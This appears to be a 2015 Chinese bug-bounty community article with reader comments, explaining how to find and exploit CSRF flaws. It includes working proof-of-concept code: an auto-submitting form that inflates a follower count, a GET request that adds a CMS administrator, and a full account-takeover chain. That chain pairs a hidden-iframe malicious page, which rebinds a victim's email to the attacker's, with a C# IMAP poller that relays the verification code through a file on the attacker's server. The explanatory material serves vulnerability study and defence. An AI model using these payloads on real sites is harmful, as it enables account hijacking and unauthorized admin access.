CSRF漏洞的挖掘与利用

  px1624    编号: 030203    奖励 50 积分   2015.02.05   web安全 CSRF

CSRF的攻击原理是什么?

CSRF 百度上的意思是跨站请求伪造,其实最简单的理解我们可以这么讲,假如一个微博关注用户的一个功能,存在CSRF漏洞,那么此时黑客只需要伪造一个页面让受害者间接或者直接触发,然后这个恶意页面就可以使用受害者的微博权限去关注其他的人微博账户。CSRF只要被批量化利用起来其危害还是比较大的。

举个例子,比如笔者在新浪首页执行了一次搜索请求。

 

 

可以看到这里有个Referer的信息,Referer也就是请求来源地址,也就是说这个请求是从http://www.sina.com.cn这里发起的。然后去掉Referer,去执行这个请求,发现这个请求仍然可以进行正常的搜索,那么就说明这个请求没有判断请求来源也就是Referer,在请求头部也没有发现存在token的迹象,那么笔者可以判断此处存在CSRF,这个CSRF是没有任何危害的,但是换成其他请求呢?比如加关注,修改资料或者其他敏感操作呢?

 

CSRF漏洞成因及分类

第一种

请求直接是个GET请求,然后请求中没有token验证参数,然后还有一个固定的变量可以被控制。这种是比较常见的一种CSRF漏洞。这种漏洞的检测方法很简单:网页操作某功能,抓包后,如果发现满足上面条件,然后再去页面测试下,基本就可以确定存在不存在CSRF漏洞了。

实例

某微博站曾存在的一个漏洞,关注用户微博的请求如下(其中key的值是每一个用户独有唯一的):

http://***.****.com/reflow/follow?resType=json&isAjax=1&key=226216966

笔者根据上面的测试方法进行测试发现无token,但是对referer做了校验,但是csrf的情况还是存在的,因为被攻击者的referer往往是和CSRF漏洞的GET请求是同域的,所以除非验证的相当的严格,一般情况下的验证是无效的,此类的站点输入微博类的站点,用户可以随随便便在上面发送微博,微博中可以带上该链接,只要受害者点击即可关注黑客的微博了。

 

第二种

请求是个POST请求,post请求中没有token参数,然后请求也没有验证referer信息。这种是存在CSRF情况最多的一种。这种漏洞的检测方法也很简单:网页操作某功能,抓包后,如果发现没有token等参数,然后就将referer信息设置为空,再次发包请求,如果请求成功了,就说明这里有CSRF漏洞。

如果有token等参数,可以尝试将token去掉,然后再将referer也去掉,进行验证。这种CSRF漏洞的利用,是需要在自己服务器构造一个form表单的,然后将服务器form表单的URL作为CSRF攻击进行利用的,或者用js代码生成form表单,或者用ajax实现。

实例

某微博主页刷粉丝,利用poc如下:

<html>
	<body> 
		<form name="px" method="post" action="http://widget.******.com/plugin/followbutton/addfans">
			<input type="text" name="page_id" value="60185****">
		</form>
		<script>
		 document.px.submit(); 
		 </script>
	 </body>
 </html>

 

第三种

请求是POST,post请求中没有token参数,但是验证了referer信息。然而可以将post请求改写为get请求,然后通过第一种情况下的那个方法利用。这种的检测方法,就是先执行了第二种的验证后,发现有对CSRF进行防御。然后将post请求改写为GET请求,发现仍然可以成功执行。漏洞成因是因为服务器端接收请求参数的时候,没有严格的用$_POST 而是用的类似于 $_REQUEST这种post,get请求的参数都可以接收的写法。

实例(某通用cms添加后台管理员的CSRF漏洞)

添加后台管理员请求如下:

然后发现将post请求改成get也可以成功发包。

http://127.0.0.1/asp/Survey/admin/Admin.asp?Username=test222&Password1=123456&Password2=123456&action=yes

 

如何利用CSRF劫持账号

原理

前几天看了两篇任意密码重置的文章,发现分析的挺不错的,其实“盗取”用户帐号的方式有很多,笔者就以一个真实的案例来写一下:

 

 

 

笔者点击重新绑定,输入自己的一个新邮箱,发现一个有趣的现象,程序会把验证码发送到新的邮箱,也就是说这里根本没有校验原始的邮箱,是不是本人请求的绑定验证码,程序认为只要拥有这个账户密码的人100%等于这个账号的主人了。先看一下这个请求的数据包,如下:

 

GET /user.php?a=sendEmailVerifyCode&email=123456@qq.com&0.09108287119306624 HTTP/1.1
Host: www.**.com
Connection: keep-alive
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
Referer: http://www.**.com/user.php?a=basicinfo
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: this is cookie

 

经过测试这里并没有校验referer,这里的CSRF是存在的,笔者把正确的验证码填上去然后在抓取下判断验证码是否正确的验证包,如下:

 

POST /user.php?a=basicinfo&m=myemail HTTP/1.1
Host: www.***.com
Connection: keep-alive
Content-Length: 62
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.***.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
Content-Type: application/x-www-form-urlencoded
Referer: http://www.***.com/user.php?a=basicinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: this is cookie

newEmail=123456%40qq.com&emailCode=18SV37

 

经过确认这里没有token也没有校验referer,那么问题来的,这两个地方均存在csrf,该怎么利用呢?首先,程序会把验证码发送到新的邮箱中,那么验证码这个是我们可以控制的,其实这个主要分两个步骤,先把主要更换的邮箱提交下,然后获取验证码,再把验证码提交验证是否正确,攻击的流程是把这两部分自动化实现。笔者理一下攻击的实现流程:

  • 伪造一个恶意页面,让受害者访问,然后该页面自动向网站发出更换邮箱(攻击者的邮箱)的请求,程序就会把验证码发送到攻击者的邮箱中
  • 写个程序快速的把验证码从邮箱中读取出来,写在一个txt里面,这个txt在一个web目录下面,以供外网访问
  • 等待3-4秒之后,恶意页面会自动访问上一步骤生成的txt页面,获取验证码,然后带验证码再继续Post完成校验,整个攻击流程结束
  • 攻击者通过自己的邮箱,找回受害者的账户

 

利用代码

恶意页面代码:

<script>
if(document.referrer=='http://www.******.com/user.php?a=basicinfo&m=myemail'){
	window.location.href='http://www.baidu.com';
}
</script>
<font size=3><B>正在载入页面,请稍等..</B></font>
<script type="text/javascript" src="http://www.php100.com/manual/jquery/jquery/js/jquery.js"></script>
<html xmlns="http://www.w3.org/1999/xhtml">
<form id='attackpost' action="http://www.*****.com/user.php?a=basicinfo&m=myemail" method="POST">
 <input type="hidden" name="newEmail" value="这里写需要绑定的邮箱">
 <input id="result" type="hidden" name="emailCode" value="123456">
 <input type="hidden" name="Uei_id" value="">
 <input type="hidden" name="x" value="68">
 <input type="hidden" name="y" value="6">
</form>
<script>

var iframeLoaded = function (iframe) {
	if (iframe.src.length > 0) {
		if (!iframe.readyState || iframe.readyState == "complete") {
			//setInterval(onComplete,2000)
			setTimeout(onComplete,4000);
			console.log("ok");
		}
	}
}
function onComplete(){ 
	$.get("key.txt", function(data){
	  if(data!=null){
		$("#result").val(data);
		attackpost=document.getElementById("attackpost");
		attackpost.submit();
	  }
	});
}
</script>
<iframe onload='iframeLoaded(this)' src="http://www.*****.com/user.php?a=sendEmailVerifyCode&email=
这里写需要绑定的邮箱&0.8968348051803765" width="0" height="0">

 

程序核心代码如下(C#):

 

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Text;
using S22.Imap;
using System.Text.RegularExpressions;
using System.IO;

namespace BindEmail
{
    class Program
    {
        static void Main(string[] args)
        {
            
            Console.WriteLine("        ----------------------------------------------------------------");
            Console.WriteLine("        +                                                              +");
            Console.WriteLine("        +                     CSRF劫持帐号测试                         +");
            Console.WriteLine("        +                       Www.Sobug.Com                           +");
            Console.WriteLine("        +                                                              +");
            Console.WriteLine("        ----------------------------------------------------------------");
            Console.WriteLine();
            Console.Write("请输入IMAP服务器地址:");
            string ImapServer = Console.ReadLine();
            Console.Write("请输入邮箱地址:");
            string ImapUserame = Console.ReadLine();
            Console.Write("请输入密码:");
            string ImapPwd = Console.ReadLine();
            ImapClient imap = new ImapClient(ImapServer, 993, true);

            try
            {
                imap.Login(ImapUserame, ImapPwd, AuthMethod.Login);
                string oldstr = null;
                // 也可以使用通过其它条件进行检索你的邮件
                while (true)
                {
                    uint[] uids = imap.Search(SearchCondition.All());
                    if (uids.Length > 0)
                    {
                        System.Net.Mail.MailMessage msg = imap.GetMessage(uids[uids.Length - 1]);
                        //Console.WriteLine(msg.Subject);
                        //Console.WriteLine(msg.Body);
                        string regexStr = @"<b>(.*?)</b>";
                        Match mc = Regex.Match(msg.Body, regexStr, RegexOptions.IgnoreCase);
                        string regexStrName = @"(.*?)您好!";
                        Match name = Regex.Match(msg.Body, regexStrName, RegexOptions.IgnoreCase);
                        if (mc.Groups[1].Value!=oldstr)//获取最新的验证码写入到key.txt当中
                        {
                            FileStream aFile = new FileStream("key.txt", FileMode.OpenOrCreate);
                            StreamWriter sw = new StreamWriter(aFile);
                            sw.Write(mc.Groups[1].Value);
                            sw.Close();
                            Console.WriteLine(name.Groups[1].Value + "劫持成功!");
                            oldstr = mc.Groups[1].Value;
                        }
                        
                    }
                    else
                    {
                        Console.WriteLine("没有你要找的邮件");
                    }
                }

                imap.Dispose();

            }
            catch (InvalidCredentialsException)
            {
                Console.WriteLine("服务器拒绝连接,可能密码错误!");
                imap.Dispose();
            }
            Console.ReadKey();
 
        }
    }
}


Demo下载:http://pan.baidu.com/s/1gdmvicr

最后,感谢白帽子Boom提供“如何利用CSRF劫持账号”的案例以及利用代码,其余文中所涉及的案例均有作者本人原创发现。


小智解读:

其实px1624提交上来的一个csrf 结合 xss self利用后来忍痛割爱阉割掉了这一部分内容,贵在思路&猥琐程度,欢迎各位白帽子提供更多的优质稿件:)

全部评论 (13)

登录注册


px1624

自顶,诶,文采不行啊。。

2015-02-04 19:30 1楼


泳少

哇。高端黑啊。。好牛逼

2015-02-05 09:29 2楼


px1624

楼上的重置密码文章的的演示代码有明显的sql注入。。。

2015-02-05 09:35 3楼


il0vnn

少年郎,好精彩

2015-02-05 09:42 4楼


Lenka

px好吊

2015-02-05 15:23 5楼


爱因私躺

不错

2015-02-05 17:52 6楼


泳少

demo写这么好干嘛。

2015-02-07 11:44 7楼


shaMEX

文章不错,各种漏洞贵在poc:)

2015-02-08 16:20 8楼


Vinc

.

2015-02-10 11:19 9楼


tenhaey

nice ,赞一下。

2015-03-02 18:44 10楼


evil_webshell

顶起

2015-03-21 21:11 11楼


greetwin

px牛,顶起!

2015-04-05 13:43 12楼


lucy

h

2015-12-08 15:47 13楼